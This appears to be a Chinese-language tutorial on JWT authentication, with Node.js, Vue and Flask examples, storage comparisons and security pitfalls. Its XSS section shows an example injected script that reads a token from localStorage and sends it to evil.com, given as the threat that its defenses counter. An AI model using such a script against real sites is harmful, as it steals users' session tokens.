# JWT 指南

# 一、先搞懂:JWT 到底是个啥?

# 官方定义

JWT 全称:JSON Web Token
翻译过来就是:JSON 格式的网络令牌。

你可以把它理解成:一张自带加密签名的"电子通行证"

# 核心特性

  • 它是一段字符串
  • 里面可以存用户信息(如 id、角色、过期时间)
  • 服务端看到它,就能认出你是谁、是否合法
  • 不需要再查一次数据库 Session

一句话总结

JWT = 轻量、自包含、可跨域的身份凭证


# 二、用生活例子秒懂 JWT 运作

# 景区门票 analogy

你去景区玩:

  1. 去售票处 → 出示身份证 → 买票
  2. 拿到一张门票
  3. 进去每个景点:直接出示门票,不用再回售票处核验身份
  4. 门票过期/伪造 → 直接拒绝

# 对应到 JWT 系统

景区场景 JWT 对应物
售票处 登录接口 /login
身份证 用户名 + 密码
门票 JWT Token
景区各个景点 你的后端 API 接口
检票员 JWT 验证中间件

# 传统 Session vs JWT

传统 Session 模式
你每进一个景点,都要跑回售票处查一下你是不是买了票。

JWT 模式
门票上已经写了你的信息、有效期、盖章,景点自己就能验,不用问售票处。


# 三、JWT 长什么样?

# 外观格式

JWT 是一段用点 . 分隔的三段字符串,长成这样:

xxxxx.yyyyy.zzzzz

# 实际示例

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMDA4NiIsIm5hbWUiOiLkurrmsKMiLCJyb2xlIjoidXNlciIsImV4cCI6MTczNTY4OTYxMn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

# 标准结构

Header.Payload.Signature

# 说明:前两部分使用 Base64URL 编码,第三部分是二进制签名数据。

# 四、三部分分别干嘛用?

# 1️⃣ Header(头部)

告诉别人两件事

  • 这是 JWT
  • 用什么加密算法(通常是 HS256)

示例

{
  "alg": "HS256", // 签名的算法(algorithm)
  "typ": "JWT" // 令牌(token)的类型(type)
}

经过 Base64URL 编码,变成第一段字符串。

常见算法

  • HS256:HMAC SHA256(对称加密,最常用)
  • RS256:RSA SHA256(非对称加密,更安全)
  • ES256:ECDSA SHA256(椭圆曲线加密)

# 2️⃣ Payload(负载/数据)

这里放真正要存的数据,比如:

  • 用户 id
  • 用户名
  • 过期时间
  • 角色(admin / user)

示例

{
  "sub": "10086",
  "name": "张三",
  "role": "user",
  "exp": 1735689612,
  "iat": 1735682412
}

# 📌 标准(官方)字段说明(Claims)

字段 全称 含义 是否必须
iss Issuer 签发者 可选
exp Expiration Time 过期时间 建议必填
sub Subject 主题(通常是用户 ID) 可选
aud Audience 受众 可选
iat Issued At 签发时间 可选
nbf Not Before 生效时间 可选
jti JWT ID 唯一标识 可选

# ⚠️ 重要提醒

Payload 只是 Base64 编码,不是加密!谁都能解码查看!
绝对不要放密码、手机号等敏感信息!

你可以用这个网站解码任何 JWT:https://jwt.io


# 3️⃣ Signature(签名)—— JWT 的灵魂

这是保证不被篡改的关键。

# 生成公式

Signature = HMACSHA256(
  base64UrlEncode(Header) + "." + base64UrlEncode(Payload),
  secret
)

# 生成流程

  1. 服务端将 Header 和 Payload 分别进行 Base64URL 编码
  2. . 连接两部分
  3. 使用密钥(Secret)对连接后的字符串进行 HMAC-SHA256 加密
  4. 得到一段独一无二的签名
  5. 拼接成完整 JWT:Header.Payload.Signature

# 核心作用

  • 防篡改:只要内容被改一点点 → 签名立刻失效
  • 防伪:只有持有密钥的服务端才能生成合法 JWT
  • 验证身份:确认 JWT 是由可信方签发的

# 五、JWT 完整运作机制(一步不落)

这是后端最常用的登录鉴权流程,看完你就能直接用在项目里。

# 📋 完整流程图

┌─────────┐                    ┌─────────┐                    ┌─────────┐
│  前端   │                    │  后端   │                    │ 数据库  │
└────┬────┘                    └────┬────┘                    └────┬────┘
     │                              │                              │
     │  1. POST /login              │                              │
     │     {username, password}     │                              │
     │─────────────────────────────>│                              │
     │                              │  2. 验证账号密码             │
     │                              │─────────────────────────────>│
     │                              │                              │
     │                              │  3. 返回验证结果             │
     │                              │<─────────────────────────────│
     │                              │                              │
     │                              │  4. 生成 JWT                  │
     │                              │   - 构造 Payload              │
     │                              │   - 生成签名                  │
     │                              │                              │
     │  5. 返回 JWT Token           │                              │
     │     {token, expiresIn}       │                              │
     │<─────────────────────────────│                              │
     │                              │                              │
     │  6. 存储 Token                │                              │
     │     (localStorage/cookie)    │                              │
     │                              │                              │
     │  7. 请求其他接口             │                              │
     │     Authorization: Bearer    │                              │
     │     eyJhbGciOiJIUzI1Ni...    │                              │
     │─────────────────────────────>│                              │
     │                              │  8. 验证 JWT                  │
     │                              │   - 拆解 Token                │
     │                              │   - 验证签名                  │
     │                              │   - 检查过期时间              │
     │                              │                              │
     │  9. 返回业务数据             │                              │
     │     {data: ...}              │                              │
     │<─────────────────────────────│                              │
     │                              │                              │

# 🔹 步骤 1:用户登录

前端操作

// 前端发送登录请求
async function login(username, password) {
  const response = await fetch('/api/login', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json'
    },
    body: JSON.stringify({ username, password })
  });
  
  const data = await response.json();
  return data;
}

# 🔹 步骤 2:服务端验证通过,生成 JWT

后端示例(Node.js + jsonwebtoken)

const jwt = require('jsonwebtoken');
const crypto = require('crypto');

// 生成 JWT 的函数
function generateToken(user) {
  const payload = {
    sub: user.id.toString(),
    username: user.username,
    role: user.role,
    email: user.email
  };
  
  const options = {
    expiresIn: '2h',  // 2 小时过期
    issuer: 'your-app-name',
    audience: 'your-api-users'
  };
  
  // 使用密钥生成 JWT
  const token = jwt.sign(payload, process.env.JWT_SECRET, options);
  
  return token;
}

// 登录接口
app.post('/api/login', async (req, res) => {
  const { username, password } = req.body;
  
  // 1. 查询数据库验证账号密码
  const user = await db.users.findOne({ where: { username } });
  
  if (!user || !verifyPassword(password, user.passwordHash)) {
    return res.status(401).json({ error: '账号或密码错误' });
  }
  
  // 2. 生成 JWT
  const token = generateToken(user);
  
  // 3. 返回给前端
  res.json({
    success: true,
    token,
    expiresIn: 7200,  // 过期时间(秒)
    user: {
      id: user.id,
      username: user.username,
      role: user.role
    }
  });
});

# 🔹 步骤 3:前端保存 JWT

三种常见存储方式对比

存储方式 优点 缺点 安全等级
localStorage 简单易用,容量大 (5MB) 易受 XSS 攻击 ⭐⭐
Session Storage 页面关闭自动清除 标签页不共享 ⭐⭐
Cookie (HttpOnly) 防 XSS,自动携带 需防 CSRF,容量小 (4KB) ⭐⭐⭐⭐

推荐方案

  • 普通应用:localStorage + HTTPS
  • 高安全应用:HttpOnly Cookie + CSRF Token

前端存储示例

// 方式 1: localStorage(最常用)
function saveToken(token) {
  localStorage.setItem('access_token', token);
}

// 方式 2: Cookie(需要后端配合设置 HttpOnly)
// 后端设置:res.cookie('token', token, { httpOnly: true, secure: true })

// 方式 3: Pinia/Vuex(配合持久化插件)
// store.commit('SET_TOKEN', token);

# 🔹 步骤 4:前端请求接口时携带 JWT

常见方式:放在 HTTP Header

// 方式 1: 原生 Fetch
async function fetchWithAuth(url, options = {}) {
  const token = localStorage.getItem('access_token');
  
  const config = {
    ...options,
    headers: {
      ...options.headers,
      'Authorization': `Bearer ${token}`
    }
  };
  
  return fetch(url, config);
}

// 方式 2: Axios 拦截器(推荐)
import axios from 'axios';

const apiClient = axios.create({
  baseURL: '/api',
  timeout: 10000
});

// 添加请求拦截器
apiClient.interceptors.request.use(config => {
  const token = localStorage.getItem('access_token');
  if (token) {
    config.headers.Authorization = `Bearer ${token}`;
  }
  return config;
}, error => {
  return Promise.reject(error);
});

// 方式 3: Vue Router 全局前置守卫
router.beforeEach((to, from, next) => {
  const token = localStorage.getItem('access_token');
  if (to.meta.requiresAuth && !token) {
    next('/login');
  } else {
    next();
  }
});

标准 Header 格式

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

# 🔹 步骤 5:服务端验证 JWT

Node.js 中间件示例

const jwt = require('jsonwebtoken');

// JWT 验证中间件
function authMiddleware(req, res, next) {
  try {
    // 1. 从 Header 中获取 Token
    const authHeader = req.headers.authorization;
    
    if (!authHeader || !authHeader.startsWith('Bearer ')) {
      return res.status(401).json({ 
        error: '未提供认证令牌',
        code: 'NO_TOKEN'
      });
    }
    
    const token = authHeader.split(' ')[1];
    
    // 2. 验证 Token
    const decoded = jwt.verify(token, process.env.JWT_SECRET, {
      algorithms: ['HS256'],
      complete: true
    });
    
    // 3. 将用户信息附加到请求对象
    req.user = {
      id: decoded.payload.sub,
      username: decoded.payload.username,
      role: decoded.payload.role
    };
    
    // 4. 可选:检查是否在黑名单中
    // const isBlacklisted = await redis.get(`blacklist:${token}`);
    // if (isBlacklisted) {
    //   return res.status(401).json({ error: 'Token 已失效' });
    // }
    
    next();
    
  } catch (error) {
    if (error.name === 'TokenExpiredError') {
      return res.status(401).json({ 
        error: '令牌已过期',
        code: 'TOKEN_EXPIRED',
        expiredAt: error.expiredAt
      });
    }
    
    if (error.name === 'JsonWebTokenError') {
      return res.status(401).json({ 
        error: '无效的令牌',
        code: 'INVALID_TOKEN'
      });
    }
    
    return res.status(500).json({ error: '服务器内部错误' });
  }
}

// 使用中间件保护路由
app.get('/api/profile', authMiddleware, (req, res) => {
  // req.user 已经包含用户信息
  res.json({
    success: true,
    data: {
      id: req.user.id,
      username: req.user.username,
      role: req.user.role
    }
  });
});

# 🔹 步骤 6:处理结果

验证通过 → 正常返回接口数据
验证失败 → 返回对应错误码

HTTP 状态码 错误码 含义 前端处理方式
401 NO_TOKEN 未提供 Token 跳转到登录页
401 TOKEN_EXPIRED Token 过期 尝试刷新 Token 或重新登录
401 INVALID_TOKEN 无效 Token 清除本地 Token,跳转登录
403 FORBIDDEN 权限不足 提示无权限

自动刷新 Token 策略

// Axios 响应拦截器处理 Token 刷新
apiClient.interceptors.response.use(
  response => response,
  async error => {
    const originalRequest = error.config;
    
    // 如果是 Token 过期且未重试过
    if (error.response?.status === 401 && 
        error.response?.data?.code === 'TOKEN_EXPIRED' &&
        !originalRequest._retry) {
      
      originalRequest._retry = true;
      
      try {
        // 尝试刷新 Token
        const refreshToken = localStorage.getItem('refresh_token');
        const { data } = await axios.post('/api/refresh', { refreshToken });
        
        // 保存新 Token
        localStorage.setItem('access_token', data.token);
        
        // 重试原请求
        originalRequest.headers.Authorization = `Bearer ${data.token}`;
        return apiClient(originalRequest);
        
      } catch (refreshError) {
        // 刷新失败,跳转登录
        localStorage.removeItem('access_token');
        localStorage.removeItem('refresh_token');
        window.location.href = '/login';
        return Promise.reject(refreshError);
      }
    }
    
    return Promise.reject(error);
  }
);


# 六、JWT vs Session:全方位对比

# 详细对比表

特性 Session JWT
存储位置 服务端内存/Redis 客户端(浏览器/移动端)
存储成本 占用服务器内存 不占服务器资源
传输方式 Cookie 自动携带 手动添加到 Header
跨域支持 需特殊配置(CORS + Credentials) 天然支持跨域
扩展性 集群需共享 Session 无需共享,易于水平扩展
性能 每次请求需查 Session 存储 只需验证签名,速度快
安全性 依赖 Cookie 安全设置 需防范 XSS/CSRF
适用场景 传统单体应用 前后端分离、微服务、移动端

# 架构图对比

传统 Session 架构

┌─────────┐      ┌─────────┐      ┌──────────┐
│  Client │─────>│  Server │─────>│ Session  │
│         │<─────│         │<─────│  Store   │
└─────────┘      └─────────┘      └──────────┘
                     ↑
                  每次请求都要查询

JWT 架构

┌─────────┐      ┌─────────┐
│  Client │─────>│  Server │
│         │      │(验证签名)│
│  [JWT]  │<─────│         │
└─────────┘      └─────────┘
  自带信息          无需查询

# 七、JWT 的优点与缺点

# ✅ 六大核心优势

# 1. 无状态(Stateless)

  • 服务端不用存储 Session 信息
  • 不占用服务器内存
  • 易于水平扩展和负载均衡

# 2. 跨域友好

  • 天然支持 CORS
  • 适合前后端分离架构
  • 完美适配微服务、小程序、APP

# 3. 自包含(Self-contained)

  • 所有必要信息都在 Token 中
  • 减少数据库查询次数
  • 提升接口响应速度

# 4. 通用性强

  • 所有主流语言都支持:
    • JavaScript (jsonwebtoken, jose)
    • Java (jjwt, nimbus-jose-jwt)
    • Python (PyJWT, python-jose)
    • Go (golang-jwt/jwt)
    • PHP (firebase/php-jwt)

# 5. 性能优异

  • 验证速度快(仅需计算签名)
  • 无 I/O 开销
  • 适合高并发场景

# 6. 灵活性高

  • 可自定义 Claims
  • 支持多种加密算法
  • 可实现细粒度权限控制

# ⚠️ 五大潜在缺点

# 1. 无法主动失效(除非用黑名单)

  • Token 在有效期内一直有效
  • 用户登出后无法立即使 Token 失效
  • 解决方案
    • 使用 Redis 黑名单存储已登出的 Token
    • 设置较短的过期时间
    • 实现 Refresh Token 机制

# 2. 体积较大

  • 比 Session ID 长得多(通常 200-500 字符)
  • 增加网络传输开销
  • 优化方案:压缩 Payload 内容

# 3. 不能存储敏感信息

  • Payload 可被任何人解码
  • 不适合存储密码、银行卡号等
  • 原则:只存非敏感的身份标识

# 4. 密钥管理复杂

  • 密钥泄露 = 整个系统沦陷
  • 多服务环境下密钥分发困难
  • 最佳实践
    • 使用环境变量存储密钥
    • 定期轮换密钥
    • 使用非对称加密(RS256)

# 5. 日期兼容性陷阱

  • 不同语言的时间戳格式可能不同
  • 时区处理容易出错
  • 建议:统一使用 UTC 时间戳

# 八、一定要注意的坑(血泪经验)

# 🚨 安全相关(必须遵守)

# 1. 绝对不要在 Payload 中存储敏感信息

错误示范

{
  "password": "123456",  // 找死行为
  "creditCard": "1234-5678-9012-3456",
  "phone": "13800138000"
}

正确做法

{
  "sub": "user_10086",
  "username": "zhangsan",
  "role": "admin",
  "permissions": ["read", "write"]
}

# 2. 必须设置合理的过期时间

错误示范

// 永不过期 = 极度危险
jwt.sign(payload, secret, { expiresIn: 'never' });

// 过期时间太长
jwt.sign(payload, secret, { expiresIn: '365d' });

推荐方案

// Access Token: 15 分钟 ~ 2 小时
jwt.sign(payload, secret, { expiresIn: '2h' });

// Refresh Token: 7 ~ 30 天
jwt.sign(payload, refreshSecret, { expiresIn: '7d' });

双 Token 机制

// 生成双 Token
function generateTokenPair(user) {
  const accessToken = jwt.sign(
    { sub: user.id, type: 'access' },
    process.env.JWT_ACCESS_SECRET,
    { expiresIn: '2h' }
  );
  
  const refreshToken = jwt.sign(
    { sub: user.id, type: 'refresh' },
    process.env.JWT_REFRESH_SECRET,
    { expiresIn: '7d' }
  );
  
  return { accessToken, refreshToken };
}

# 3. 密钥安全管理

作死行为

// 硬编码在代码里
const secret = 'my-secret-key-123';

// 提交到 Git
// .env 文件没加入 .gitignore

正确姿势

// 使用环境变量
require('dotenv').config();
const secret = process.env.JWT_SECRET;

// 生成强密钥
crypto.randomBytes(64).toString('hex');
// 输出:a3f8b2c1d4e5f6789012345678901234567890123456789012345678901234

// .env 文件示例
JWT_SECRET=your-super-long-random-string-generated-by-crypto
JWT_ALGORITHM=HS256
JWT_EXPIRATION=2h

密钥轮换策略

// 支持多密钥验证
const secrets = {
  'v1': process.env.JWT_SECRET_V1,
  'v2': process.env.JWT_SECRET_V2  // 当前使用
};

function verifyToken(token) {
  for (const [version, secret] of Object.entries(secrets)) {
    try {
      return jwt.verify(token, secret);
    } catch (error) {
      continue;
    }
  }
  throw new Error('所有密钥都验证失败');
}

# 4. 必须使用 HTTPS

HTTP 传输 = 裸奔

  • JWT 可能被中间人截获
  • 攻击者可以重放 Token

强制 HTTPS

// Express 强制 HTTPS
app.use((req, res, next) => {
  if (req.headers['x-forwarded-proto'] !== 'https') {
    return res.redirect(`https://${req.host}${req.url}`);
  }
  next();
});

// Nginx 配置
server {
  listen 80;
  server_name api.example.com;
  return 301 https://$server_name$request_uri;
}

server {
  listen 443 ssl;
  # SSL 配置...
}

# 5. 防范 XSS 攻击

XSS 如何窃取 JWT

// 攻击者注入恶意脚本
<script>
  const token = localStorage.getItem('access_token');
  fetch('https://evil.com/steal?token=' + token);
</script>

防护方案

方案 A:使用 HttpOnly Cookie(最安全)

// 后端设置
res.cookie('token', token, {
  httpOnly: true,  // JavaScript 无法访问
  secure: true,    // 仅 HTTPS 传输
  sameSite: 'strict',  // 防 CSRF
  maxAge: 7200000  // 2 小时
});

方案 B:强化 XSS 防护

// 1. 对用户输入进行转义
app.use(xss());

// 2. 设置 Content Security Policy
app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    "default-src 'self'"
  );
  next();
});

// 3. 过滤用户输入
function sanitizeInput(input) {
  return input.replace(/[<>"'&]/g, (char) => {
    const entities = {
      '<': '&lt;',
      '>': '&gt;',
      '"': '&quot;',
      "'": '&#39;',
      '&': '&amp;'
    };
    return entities[char];
  });
}

# 6. 防范 CSRF 攻击

如果使用 Cookie 存储 Token,必须防 CSRF

// 1. 使用 SameSite Cookie 属性
res.cookie('token', token, {
  sameSite: 'strict',  // 或 'lax'
  secure: true
});

// 2. 添加 CSRF Token
const csrfToken = crypto.randomBytes(32).toString('hex');
res.cookie('csrfToken', csrfToken);

// 前端需要在 Header 中携带
fetch('/api/protected', {
  headers: {
    'X-CSRF-Token': csrfTokenFromCookie
  }
});

// 3. 验证 Referer/Origin
app.use((req, res, next) => {
  const origin = req.headers.origin;
  const allowedOrigins = ['https://yourdomain.com'];
  
  if (!allowedOrigins.includes(origin)) {
    return res.status(403).json({ error: '非法来源' });
  }
  next();
});

# 🔧 实践相关

# 7. Token 续期策略

问题:用户正在操作,Token 突然过期怎么办?

解决方案:静默刷新

// 前端实现 Token 自动刷新
class TokenManager {
  constructor() {
    this.refreshTimer = null;
  }
  
  startAutoRefresh() {
    // 每 30 分钟检查一次
    this.refreshTimer = setInterval(() => {
      this.checkAndRefresh();
    }, 30 * 60 * 1000);
  }
  
  async checkAndRefresh() {
    const token = localStorage.getItem('access_token');
    if (!token) return;
    
    try {
      // 解码查看过期时间
      const decoded = jwt_decode(token);
      const now = Date.now() / 1000;
      const timeLeft = decoded.exp - now;
      
      // 剩余时间少于 15 分钟就刷新
      if (timeLeft < 15 * 60) {
        await this.refreshToken();
      }
    } catch (error) {
      console.error('Token 检查失败', error);
    }
  }
  
  async refreshToken() {
    const refreshToken = localStorage.getItem('refresh_token');
    
    try {
      const response = await fetch('/api/refresh', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ refreshToken })
      });
      
      const data = await response.json();
      localStorage.setItem('access_token', data.accessToken);
      console.log('Token 已自动刷新');
    } catch (error) {
      console.error('刷新失败,请重新登录');
      // 跳转到登录页
    }
  }
  
  stop() {
    if (this.refreshTimer) {
      clearInterval(this.refreshTimer);
    }
  }
}

# 8. Token 黑名单机制

场景:用户登出后,如何让 Token 立即失效?

使用 Redis 实现黑名单

const redis = require('redis');
const client = redis.createClient();

// 用户登出时将 Token 加入黑名单
app.post('/api/logout', authMiddleware, async (req, res) => {
  const token = req.headers.authorization.split(' ')[1];
  const decoded = jwt.decode(token);
  
  // 计算剩余有效期
  const ttl = decoded.exp - Math.floor(Date.now() / 1000);
  
  if (ttl > 0) {
    // 存入 Redis,设置剩余 TTL
    await client.setex(`blacklist:${token}`, ttl, 'blocked');
  }
  
  res.json({ success: true, message: '已登出' });
});

// 中间件检查黑名单
async function authMiddleware(req, res, next) {
  const token = req.headers.authorization?.split(' ')[1];
  
  // 检查是否在黑名单
  const isBlacklisted = await client.get(`blacklist:${token}`);
  if (isBlacklisted) {
    return res.status(401).json({ error: 'Token 已失效' });
  }
  
  // 继续正常验证...
  next();
}


# 十二、常见问题 FAQ

# Q1: JWT 和 Session 应该选哪个?

选择建议

场景 推荐方案
传统单体应用 Session
前后端分离 JWT
微服务架构 JWT
移动端 APP JWT
需要跨域 JWT
高安全要求内部系统 Session

# Q2: Token 被劫持了怎么办?

应急方案

  1. 立即将该 Token 加入黑名单
  2. 强制用户重新登录
  3. 检查日志追踪攻击来源
  4. 通知用户修改密码

预防措施

  • 使用 HTTPS
  • 缩短 Token 有效期
  • 绑定用户 IP 或设备指纹
  • 实现异常检测(异地登录提醒)

# Q3: 如何实现权限管理?

方案:在 Payload 中添加角色和权限

const token = jwt.sign({
  sub: userId,
  role: 'admin',
  permissions: ['user:read', 'user:write', 'post:delete']
}, secret);

// 中间件验证权限
function requirePermission(permission) {
  return (req, res, next) => {
    if (!req.user.permissions.includes(permission)) {
      return res.status(403).json({ error: '权限不足' });
    }
    next();
  };
}

// 使用
app.delete('/api/post/:id', 
  authMiddleware, 
  requirePermission('post:delete'),
  deletePost
);

# Q4: 多设备登录怎么处理?

方案 A:允许同时在线

  • 每个设备生成不同的 Token
  • Token 中记录设备信息
const token = jwt.sign({
  sub: userId,
  deviceId: generateDeviceId(),
  deviceType: 'mobile'  // 或 'desktop', 'tablet'
}, secret);

方案 B:单点登录(互斥)

  • 同一用户只允许一个 Token 有效
  • 新登录使旧 Token 失效
// 登录时将旧 Token 加入黑名单
const oldToken = await getUserToken(userId);
if (oldToken) {
  await blacklist.add(oldToken);
}

# Q5: 分布式环境下密钥如何管理?

方案 A:共享密钥(推荐)

  • 所有服务使用相同密钥
  • 通过配置中心统一管理
# Kubernetes ConfigMap
apiVersion: v1
kind: ConfigMap
metadata:
  name: jwt-config
data:
  JWT_SECRET: "shared-secret-key"

方案 B:非对称加密

  • 认证服务持有私钥
  • 其他服务持有公钥验证
// 认证服务生成
const privateKey = fs.readFileSync('private.key');
const token = jwt.sign(payload, privateKey, { algorithm: 'RS256' });

// 其他服务验证
const publicKey = fs.readFileSync('public.key');
jwt.verify(token, publicKey, { algorithms: ['RS256'] });

# Q6: 如何处理 Token 过期?

优雅的处理流程

// 前端自动刷新
axios.interceptors.response.use(
  response => response,
  async error => {
    if (error.response?.status === 401) {
      try {
        // 尝试刷新
        const { data } = await axios.post('/refresh', {
          refreshToken: localStorage.getItem('refresh_token')
        });
        
        localStorage.setItem('access_token', data.token);
        
        // 重试原请求
        error.config.headers.Authorization = `Bearer ${data.token}`;
        return axios(error.config);
        
      } catch (refreshError) {
        // 刷新失败,跳转登录
        localStorage.removeItem('access_token');
        localStorage.removeItem('refresh_token');
        window.location.href = '/login';
        return Promise.reject(refreshError);
      }
    }
    return Promise.reject(error);
  }
);

# Q7: JWT 可以取消吗?

JWT 本身无法取消,但可以通过以下方式实现:

  1. 黑名单机制(推荐)

    // 登出时加入 Redis 黑名单
    await redis.setex(`blacklist:${token}`, remainingTime, '1');
    
  2. 短期 Token + 频繁验证

    • 设置很短的过期时间(15 分钟)
    • 过期后自动刷新
  3. 版本控制

    • 在 Payload 中加入 version 字段
    • 修改密钥或检查版本号


# 九、实战代码示例

# 1️⃣ Node.js 完整示例

安装依赖

npm install express jsonwebtoken bcryptjs dotenv cors

后端完整代码

// server.js
require('dotenv').config();
const express = require('express');
const jwt = require('jsonwebtoken');
const bcrypt = require('bcryptjs');
const cors = require('cors');

const app = express();
app.use(cors());
app.use(express.json());

// 模拟数据库
const users = [
  {
    id: 1,
    username: 'admin',
    password: bcrypt.hashSync('123456', 10),
    role: 'admin'
  },
  {
    id: 2,
    username: 'user',
    password: bcrypt.hashSync('123456', 10),
    role: 'user'
  }
];

// JWT 中间件
function authMiddleware(req, res, next) {
  const authHeader = req.headers.authorization;
  
  if (!authHeader || !authHeader.startsWith('Bearer ')) {
    return res.status(401).json({ error: '未提供认证令牌' });
  }
  
  const token = authHeader.split(' ')[1];
  
  try {
    const decoded = jwt.verify(token, process.env.JWT_SECRET);
    req.user = decoded;
    next();
  } catch (error) {
    return res.status(401).json({ error: '无效的令牌' });
  }
}

// 登录接口
app.post('/api/login', async (req, res) => {
  const { username, password } = req.body;
  
  const user = users.find(u => u.username === username);
  
  if (!user || !bcrypt.compareSync(password, user.password)) {
    return res.status(401).json({ error: '账号或密码错误' });
  }
  
  const token = jwt.sign(
    {
      sub: user.id,
      username: user.username,
      role: user.role
    },
    process.env.JWT_SECRET,
    { expiresIn: '2h' }
  );
  
  res.json({
    success: true,
    token,
    user: {
      id: user.id,
      username: user.username,
      role: user.role
    }
  });
});

// 受保护的接口
app.get('/api/profile', authMiddleware, (req, res) => {
  res.json({
    success: true,
    data: {
      id: req.user.sub,
      username: req.user.username,
      role: req.user.role
    }
  });
});

// 测试接口
app.get('/api/public', (req, res) => {
  res.json({ message: '这是公开接口,无需认证' });
});

app.listen(3000, () => {
  console.log('服务器运行在 http://localhost:3000');
});

.env 配置文件

JWT_SECRET=your-super-secret-key-change-this-in-production
JWT_ALGORITHM=HS256
PORT=3000

# 2️⃣ 前端 Vue 3 完整示例

安装依赖

npm install axios vue-router pinia

API 请求封装

// src/utils/request.js
import axios from 'axios';
import router from '@/router';

const request = axios.create({
  baseURL: 'http://localhost:3000/api',
  timeout: 10000
});

// 请求拦截器
request.interceptors.request.use(
  config => {
    const token = localStorage.getItem('access_token');
    if (token) {
      config.headers.Authorization = `Bearer ${token}`;
    }
    return config;
  },
  error => {
    return Promise.reject(error);
  }
);

// 响应拦截器
request.interceptors.response.use(
  response => response,
  error => {
    if (error.response?.status === 401) {
      localStorage.removeItem('access_token');
      router.push('/login');
    }
    return Promise.reject(error);
  }
);

export default request;

登录页面

<!-- src/views/Login.vue -->
<template>
  <div class="login-container">
    <el-form :model="form" label-width="80px">
      <el-form-item label="用户名">
        <el-input v-model="form.username" />
      </el-form-item>
      <el-form-item label="密码">
        <el-input v-model="form.password" type="password" />
      </el-form-item>
      <el-form-item>
        <el-button type="primary" @click="handleLogin">登录</el-button>
      </el-form-item>
    </el-form>
  </div>
</template>

<script setup>
import { reactive } from 'vue';
import { useRouter } from 'vue-router';
import request from '@/utils/request';

const router = useRouter();
const form = reactive({
  username: '',
  password: ''
});

const handleLogin = async () => {
  try {
    const { data } = await request.post('/login', form);
    localStorage.setItem('access_token', data.token);
    router.push('/profile');
  } catch (error) {
    alert(error.response?.data?.error || '登录失败');
  }
};
</script>

路由守卫

// src/router/index.js
import { createRouter, createWebHistory } from 'vue-router';

const routes = [
  {
    path: '/login',
    name: 'Login',
    component: () => import('@/views/Login.vue')
  },
  {
    path: '/profile',
    name: 'Profile',
    component: () => import('@/views/Profile.vue'),
    meta: { requiresAuth: true }
  }
];

const router = createRouter({
  history: createWebHistory(),
  routes
});

router.beforeEach((to, from, next) => {
  const token = localStorage.getItem('access_token');
  
  if (to.meta.requiresAuth && !token) {
    next('/login');
  } else {
    next();
  }
});

export default router;

# 3️⃣ Python Flask 示例

安装依赖

pip install flask PyJWT bcrypt flask-cors

后端代码

# app.py
from flask import Flask, request, jsonify
from flask_cors import CORS
import jwt
import bcrypt
import datetime
from functools import wraps

app = Flask(__name__)
CORS(app)

app.config['SECRET_KEY'] = 'your-secret-key-here'

# 模拟数据库
users = [
    {
        'id': 1,
        'username': 'admin',
        'password': bcrypt.hashpw('123456'.encode(), bcrypt.gensalt()),
        'role': 'admin'
    }
]

def token_required(f):
    @wraps(f)
    def decorated(*args, **kwargs):
        token = None
        
        if 'Authorization' in request.headers:
            try:
                token = request.headers['Authorization'].split(' ')[1]
            except:
                pass
        
        if not token:
            return jsonify({'error': '缺少 Token'}), 401
        
        try:
            data = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
            current_user = data['sub']
        except jwt.ExpiredSignatureError:
            return jsonify({'error': 'Token 已过期'}), 401
        except:
            return jsonify({'error': '无效的 Token'}), 401
        
        return f(current_user, *args, **kwargs)
    
    return decorated

@app.route('/api/login', methods=['POST'])
def login():
    data = request.json
    username = data.get('username')
    password = data.get('password')
    
    user = next((u for u in users if u['username'] == username), None)
    
    if not user or not bcrypt.checkpw(password.encode(), user['password']):
        return jsonify({'error': '账号或密码错误'}), 401
    
    token = jwt.encode({
        'sub': user['id'],
        'username': user['username'],
        'role': user['role'],
        'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=2)
    }, app.config['SECRET_KEY'], algorithm='HS256')
    
    return jsonify({
        'success': True,
        'token': token,
        'user': {
            'id': user['id'],
            'username': user['username'],
            'role': user['role']
        }
    })

@app.route('/api/profile')
@token_required
def profile(current_user):
    return jsonify({
        'success': True,
        'data': {'user_id': current_user}
    })

if __name__ == '__main__':
    app.run(debug=True, port=3000)

# 十、常用工具和库

# 📦 各语言 JWT 库推荐

# JavaScript / Node.js

# 最流行
npm install jsonwebtoken

# 更新、更现代
npm install jose

jsonwebtoken 使用示例

const jwt = require('jsonwebtoken');

// 生成
const token = jwt.sign(
  { sub: '123', name: 'John' },
  'secret',
  { expiresIn: '1h' }
);

// 验证
const decoded = jwt.verify(token, 'secret');

// 解码(不验证)
const decodedWithoutVerify = jwt.decode(token);

PyJWT 使用示例

import jwt
import datetime

# 生成
token = jwt.encode({
    'sub': '123',
    'name': 'John',
    'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)
}, 'secret', algorithm='HS256')

# 验证
decoded = jwt.decode(token, 'secret', algorithms=['HS256'])

# Java

<!-- Maven 依赖 -->
<dependency>
    <groupId>io.jsonwebtoken</groupId>
    <artifactId>jjwt</artifactId>
    <version>0.9.1</version>
</dependency>

Java 使用示例

String token = Jwts.builder()
    .setSubject("123")
    .claim("name", "John")
    .setExpiration(new Date(System.currentTimeMillis() + 3600000))
    .signWith(SignatureAlgorithm.HS256, "secret")
    .compact();

Claims claims = Jwts.parser()
    .setSigningKey("secret")
    .parseClaimsJws(token)
    .getBody();

#


# 🛠️ 在线工具

  1. JWT 解码调试:https://jwt.io

    • 实时解码 JWT
    • 验证签名
    • 生成测试 Token
  2. JWT 生成器:https://devtool.tech/jwt

    • 可视化生成 JWT
    • 支持多种算法
  3. JWT 漏洞扫描

    • jwt.io Debugger
    • JOSEPH (JavaScript Object Signing and Encryption Pentesting Helper)

# 十一、最佳实践清单 ✅

# 🔐 安全最佳实践

  • [ ] 使用强密钥:至少 32 个字符的随机字符串
  • [ ] 永远使用 HTTPS:生产环境强制 TLS
  • [ ] 设置合理的过期时间:Access Token ≤ 2 小时
  • [ ] 不在 Payload 存敏感信息:密码、手机号、银行卡号都不行
